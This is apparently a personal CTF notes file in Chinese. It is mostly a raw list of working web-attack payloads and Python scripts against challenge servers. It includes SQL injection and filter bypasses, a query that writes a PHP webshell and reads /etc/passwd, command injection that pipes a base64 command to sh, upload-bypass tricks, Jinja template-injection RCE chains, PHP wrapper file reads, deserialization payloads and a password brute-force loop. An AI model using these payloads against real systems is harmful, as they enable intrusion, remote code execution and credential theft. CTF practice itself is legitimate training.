ctf笔记20211016

C:\Python27\sqlmap\data
keywords.txt
error_based.xml 222
queries.xml 50
X-Forwarded-For.py
keepalive.py 321 Content-Type:application/x-www-form-urlencoded     

'; show databases;#
';show tables;--+
; show columns from concat('`F','lag`') ;
';set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
';handler `1919810931114514` open;handler `1919810931114514` read first;#

' or updatexml(1,concat(0x7e,(select 1)),0) or '
' or extractvalue(1,concat(0x5e24,(select 1))) or '

'  union select 1,2,GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA #
'  union SELECT 1,2,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='geek' #
'  union SELECT 1,2,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='l0ve1ysq1' #
' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

?id=-1+union+select+load_file('/etc/passwd')
?id=-1+union+select+'<?php eval($_POST['cmd']);?>'+into+outfile '/var/www/html/shell.php'
id=-1' and extractvalue(1,concat('^',(select database()),'^'))--+

利用/*!union*/可以绕过对union的过滤
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
/**/代替空格
select unhex()
mysql> SELECT HEX(‘cat’)；
        -> ’636174′
mysql> SELECT 0×636174；
        -> ‘cat’
SELECT UNHEX('746869732069732061207465737420737472')，查询的结果为：this is a test str

空格 () ` /**/ %0a
or || ^
and &&
%df%27

绕过后缀的有文件格式有php,php3,php4,php5,phtml.ph
修改后缀为1.php;.jpg
copy a.jpg/b + b.php c.jpg
修改后缀名为.htaccess，文件内容为
SetHandler application/x-httpd-php

127.0.0.1|cat$IFS$1`ls`
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
show_source('flag.php')
highlight_file('flag.php')
system("tac flag.php")
file('flag.php')  var_dump
system("cat flag.php") view html source
{if phpinfo()}{/if}
system绕过：passthru  exec
cat绕过：less、more、tac
{passthru("more /*|grep fla")}
/index.php?f={print_r(scandir("/"))}
/index.php?f={var_dump(scandir("/"))} 
/index.php?f={fread(fopen("/_13075","r"),4096)} 
/index.php?f={fread(popen("/bin/bzless%20/_13075","r"),2096)} 
123;sleep 10
123|ls ../../../>test
cat</flag {cat,/flag}

Content-Type:application/x-www-form-urlencoded      

 这些超全局变量是：$GLOBALS $_SERVER $_GET $_POST $_FILES $_COOKIE $_SESSION _REQUEST $_ENV

flag={{config}}
{{''.__class__.__base__.__subclasses__()['catch_warnings'].__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()")}}
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
{{config['__class__']['__init__']['__glo'+'bals__']['__builtins__']['e'+'val']("__im"+"port__('o'+'s').po"+"pen('cat /this_is_the_fl'+'ag.txt').read()")}}

file:///flag
file=php://filter/read=convert.base64-encode/resource=useless.php
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
find / -name "*flag*" 
text=data://text/plain,I have a dream
php://input postdata
data:text/plain,(url编码的内容)
$eval( a='fla1';$a{3}='g';?><?=$$a;?> )

key1=QNKCDZO&key2=240610708
dasfdscsadfesfdvss

protected被序列化会变成：%00*%00属性名
private被序列化会变成：%00类名%00属性名
code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
unserialize(s:13:"ctf.bugku.com") === "ctf.bugku.com"

SSLKEYLOGFILE

========================================================

chr ord

import base64
import requests

s = base64.b64encode(b'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}')
url = 'http://111.198.29.45:43225/'
params = {'var':s}
r = requests.get(url,params=params)
print(r.text)

import requests
import base64
import re #正则匹配模块
s = requests.session() #建立会话
url = "http://114.67.246.176:10777/"
head = s.get(url).headers #获取头部信息
result = head['flag'] #得到flag的value
result = base64.b64decode(result).decode('utf-8') #第一次base64解码
result = re.search('\w+$', result).group(0) #正则匹配base64编码的flag
result = base64.b64decode(result).decode('utf-8') #第二次解码
payload = {'margin': result}
print(s.post(url, data=payload).text) #post传输数据且输出返回信息

# coding=UTF-8
import sys
reload(sys)
sys.setdefaultencoding('utf8') 
# 弱口令爆破
import requests

def ssh():
    url = "http://114.67.246.176:14679/"
    for pwd in range(10000,100000):
        pwd = str(pwd)
        r = requests.post(url, data={'pwd': pwd})
        r.encoding = 'utf-8'
        r.headers
        r_text = r.text
        judge = "密码不正确，请重新输入"
        if (judge in r.text):
            print "{}".format(pwd)
        else:
            print "--{}--".format(pwd)
            print "ok" 
            break

ssh()

import requests #引入request库
import re         #引入re库
 
url = 'http://114.67.246.176:10730'
s = requests.session()  #用session会话保持表达式
retuen = s.get(url)
 
equation = re.search(r'(\d+[+\-*])+(\d+)',retuen.text).group()
result = eval(equation)    #eval()函数用来执行一个字符串表达式,并返回表达式的值。
 
key = {'value':result}#创建一个字典类型用于传参
flag = s.post(url,data=key)#用post方法传上去
 
print(flag.text)

import requests
url="http://node4.buuoj.cn:28577/Secret.php"
headers={
    "Referer": "https://www.Sycsecret.com",
    "Origin":"https://www.Sycsecret.com",
    "User-Agent": "Syclover",
    "X-Forwarded-For": "127.0.0.1"
}
r=requests.get(url=url,headers=headers)

print(r.text)
php---------------------------------------
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);

SQL注入绕过技巧 - VVVinson - 博客园

SQL注入常用到的绕过方式-ctf_时光凉春衫薄的博客-优快云博客